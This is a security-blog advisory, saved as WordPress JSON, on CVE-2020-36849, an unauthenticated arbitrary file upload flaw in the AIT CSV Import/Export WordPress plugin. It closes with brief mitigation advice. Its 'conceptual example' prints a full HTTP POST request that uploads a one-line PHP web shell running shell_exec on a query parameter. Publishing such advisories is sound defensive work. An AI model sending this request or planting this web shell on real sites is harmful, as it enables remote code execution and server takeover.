{"id":59461,"date":"2025-07-18T05:46:37","date_gmt":"2025-07-18T05:46:37","guid":{"rendered":""},"modified":"2025-09-03T19:03:56","modified_gmt":"2025-09-04T01:03:56","slug":"cve-2020-36849-arbitrary-file-upload-vulnerability-in-ait-csv-import-export-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2020-36849-arbitrary-file-upload-vulnerability-in-ait-csv-import-export-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2020-36849: Arbitrary File Upload Vulnerability in AIT CSV Import\/Export Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2020-36849 is a critical vulnerability in the AIT CSV Import\/Export Plugin for WordPress, specifically affecting versions up to and including 3.0.3. This plugin is widely used in the WordPress ecosystem for managing CSV data import and export. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49886-critical-php-local-file-inclusion-vulnerability-in-webgeniuslab-zikzag-core\/\"  data-wpil-monitor-id=\"66138\">vulnerability lies in a flaw in the file<\/a> type validation process that could allow an attacker to upload arbitrary files to the site&#8217;s server. The severity of this issue is underlined by the fact that, if successfully exploited, it could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43933-high-risk-vulnerability-leading-to-potential-system-compromise-via-password-reset-feature\/\"  data-wpil-monitor-id=\"70885\">lead to potential system compromise<\/a> and data leakage, thereby posing a serious threat to the confidentiality, integrity, and availability of data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2020-36849<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Possible <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78522\">system compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-841629396\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AIT CSV Import\/Export <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7696-critical-php-object-injection-vulnerability-in-wordpress-plugin-integration\/\"  data-wpil-monitor-id=\"70884\">Plugin for WordPress<\/a> | Up to and including 3.0.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28946-php-remote-file-inclusion-vulnerability-in-bzotheme-printxtore\/\"  data-wpil-monitor-id=\"66156\">vulnerability stems from the lack of proper file<\/a> type validation in the &#8216;\/wp-content\/plugins\/ait-csv-import-export\/admin\/upload-handler.php&#8217; script. This lack of validation allows an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41668-critical-file-replacement-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"66311\">unauthorized attacker to upload arbitrary files<\/a>, including malicious scripts, to the affected server. These scripts, when executed, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41666-watchdog-file-replacement-vulnerability-allowing-remote-access-and-control\/\"  data-wpil-monitor-id=\"66676\">allow the attacker to potentially control the server remotely<\/a>, leading to system compromise and potential data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3809221334\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The below HTTP request is a<br \/>\n<strong>conceptual<\/strong><br \/>\n example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"78523\">attacker could exploit<\/a> this vulnerability. The attacker crafts a POST request that includes a malicious file in the body.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/ait-csv-import-export\/admin\/upload-handler.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious_script.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>Once the malicious file is uploaded to the server, the attacker can potentially execute the script, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26074-remote-code-execution-vulnerability-in-orkes-conductor-v3-21-11\/\"  data-wpil-monitor-id=\"66139\">remote code execution<\/a>.<\/p>\n<p><strong>Mitigation Methods<\/strong><\/p>\n<p>It is highly recommended to apply the vendor patch as soon as possible. If it&#8217;s not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block suspicious activities and malicious payloads, providing an additional layer of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7096-critical-vulnerability-in-comodo-internet-security-premium-12-3-4-8162\/\"  data-wpil-monitor-id=\"66726\">security against the exploitation of this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2020-36849 is a critical vulnerability in the AIT CSV Import\/Export Plugin for WordPress, specifically affecting versions up to and including 3.0.3. This plugin is widely used in the WordPress ecosystem for managing CSV data import and export. The vulnerability lies in a flaw in the file type validation process that could allow an attacker [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59461","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59461","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59461"}],"version-history":[{"count":7,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59461\/revisions"}],"predecessor-version":[{"id":70898,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59461\/revisions\/70898"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59461"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59461"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59461"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59461"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59461"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59461"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59461"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59461"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59461"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}